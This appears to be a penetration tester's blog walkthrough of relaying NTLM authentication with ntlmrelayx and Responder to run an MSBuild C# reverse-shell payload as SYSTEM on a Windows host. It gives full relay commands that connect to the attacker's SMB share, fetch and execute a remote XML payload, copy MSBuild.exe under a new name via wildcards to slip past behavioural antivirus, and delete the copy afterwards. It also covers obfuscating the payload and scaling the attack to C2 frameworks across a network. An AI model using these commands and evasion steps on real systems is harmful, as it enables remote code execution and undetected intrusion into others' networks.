On recent engagements I noticed that ntlmrelayx had become less effective due to modern antivirus stopping execution. I decided to see if I could determine a method to bypass antivirus to get ntlmrelayx working in my lab environment.
Watch the live hacking demonstration on YouTube:
Use impacket-ntlmrelayx to execute a reverse shell payload on a client that uses MSBuild to evade basic antivirus in an active directory environment.
Victim Lab Setup
A Windows 7 test system (172.16.48.62) with .Net 4.5 and an unnamed antivirus product installed.
Attacker Lab Setup
Kali linux (172.16.48.130) with responder and impacket-scripts installed. The attack system also was configured with a Samba server configured to host the xml file, although this could also be achieved using WebDAV, which has some additional benefits. For more information, please see: Executing Meterpreter in Memory on Windows 10 and Bypassing AntiVirus
Antivirus Bypass Methodology
For simplicity, I started with a simple msbuild csharp reverse shell obtained from github: See Here
I started by saving the xml file as rt.xml and modifying it to call back to the attacking IP and port of my choice and also added code to exit the process cleanly.
I then attempted to run the following command with ntlmrelayx:
sudo impacket-ntlmrelayx -smb2support –no-smb-server -t 172.16.48.62 -c ‘cmd /c “net use \\172.16.48.130\smb /user:kali redteam & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe \\172.16.48.130\smb\rt.xml”‘
Breaking this command down a bit:
-smb2support – This allows support for smb2 which could be a requirement on the target.
–no-smb-server – This is because we are running our own smb server to host our XML payload and targeting WPAD requests as the basis of the attack.
“net use \\172.16.48.130\smb /user:kali redteam” Is the command used to connect back to our smb share using the kali user and password redteam. The user/password is a requirement on systems like Windows 10 >= 1709 that do not support guest account access to a remote server.
“C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe \\172.16.48.130\smb\rt.xml” This command executes msbuild on our XML payload.
The initial attempt was caught immediately by antivirus:
It looked like antivirus was catching the execute.bat file that ntlmrelayx creates when executing commands.
My first step was to modify ntlmrelayx so that it used a different file name.
After a bit of digging, I found the python code responsible for the filename located in:
For my first attempt, I modified the filename, but kept the path the same:
Unfortunately, this also resulted in failure:
Next, I changed the path to place the renamed batch file in the root of the C drive:
This time, I got a different message from antivirus.
I incorrectly assumed that this was due to the content of the XML file somehow being caught by antivirus and proceeded down the rabbit hole to alter the csharp code to obfuscate its true intention. Using various obfuscation projects such as mimidogz as inspiration, I ran to find and replace on various variable and function names in the csharp code with random words as can be seen below (red is the original text, cyan is the obfuscated version):
I also replaced the “cmd.exe” string with an obfuscated version utilizing the substring function.
While these obfuscation techniques are valid methods of antivirus evasion, in this case, I don’t think they were entirely necessary, as you will see later in this post.
After several more failed attempts at getting past antivirus, I took ntlmrelayx out of the equation and started running msbuild against the xml file directly on the test system by executing the following command:
This led me to my next two discoveries:
- I appeared that I could get a stable reverse shell back when I ran this as a standard user account or even with an admin user from an administrative command prompt.
- I could NOT get a stable reverse shell back when I ran this as the “SYSTEM” account.
Note: If you need to spawn a system shell for testing purposes, I recommend using the Sysinternals tool psexec. (psexec -i -s cmd.exe)
It was at this point that I realized that antivirus seemed to be catching behaviors rather than a specific virus signature. This made sense because I could get a stable shell as a standard user account without setting off the alarms. Additionally, scanning the rt.xml payload file with antivirus confirmed that it was not considered a threat.
My assumption is that the behavior engine must be monitoring running processes for certain “suspicious items”, such as msbuild.exe running as the SYSTEM account. The simplest bypass I could think of was to simply make a renamed copy of msbuild.exe in another location and then execute it with the payload xml file. This worked, however, the problem I encountered was copying msbuild.exe with the below command seemed to be getting caught by the behavior engine again.
“copy /y /b C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\rt.exe & C:\rt.exe \\172.16.48.130\smb\rt.xml”
I solved this by removing “msbuild.exe” from the command by chaining additional commands together with some wildcards.
“cd C:\windows\microsoft.net\framework64\v4.0.30319 & copy /y /b msb*.exe C:\rt.exe & C:\rt.exe \\172.16.48.130\smb\rt.xml “
This worked when run from a local system level shell, so I proceeded to update the ntlmrelayx command to the following:
sudo impacket-ntlmrelayx -smb2support –no-smb-server -t 172.16.48.62 -c ‘cmd /c “net use \\172.16.48.130\smb /user:kali redteam & cd C:\windows\microsoft.net\framework64\v4.0.30319 & copy /y /b msb*.exe C:\rt.exe & C:\rt.exe \\172.16.48.130\smb\rt.xml & del C:\rt.exe”‘
Success! At this point I had achieved a stable shell running as the SYSTEM account that was initiated using ntlmrelayx, and it completely evaded antivirus detection. Mission accomplished!
The above image shows responder running the top left pane, ntlmrelayx running in the top right pane and the netcat listener getting a system level shell in the bottom pane.
This method is fine if your goal is to target a single host. However, it should also be possible to replace the payload xml file with SilentTrinity, Covenant or other C2 payloads that utilize msbuild.exe. Doing so would theoretically allow you to get C2 control of every system on the network with SMB signing disabled. In my brief testing, I was successful in establishing a SilentTrinity session, but I did encounter problems if more than one instance of the payload was executed on a victim machine using this method. Your mileage may vary.
There is also a pull request to add an option to execute raw commands from ntlmrelayx. This option allows a command to be executed without writing the batch file to disk at all. It does still create and start a service, but it is one less thing to touch the disk which could help with evasion or stealthier operations. I was able to merge the code and use this method successfully during testing as well.
Ntlmrelayx is a pretty noisy tool. Not only does it generate windows security log events, it drops files on the disk and creates and starts windows services.
Additionally, renaming msbuild.exe as I did above could negatively impact the application whitelisting that makes msbuild.exe so useful in the first place.
Until SMB signing is enforced by default, and things like LLMNR and WPAD are a thing of the past, ntlmrelayx will remain a valid tool to keep in the toolbox. While this article may not apply to every antivirus vendor or every situation, I hope that this article helps to inspire new techniques, ingenuity, and growth within the security industry. Happy hacking!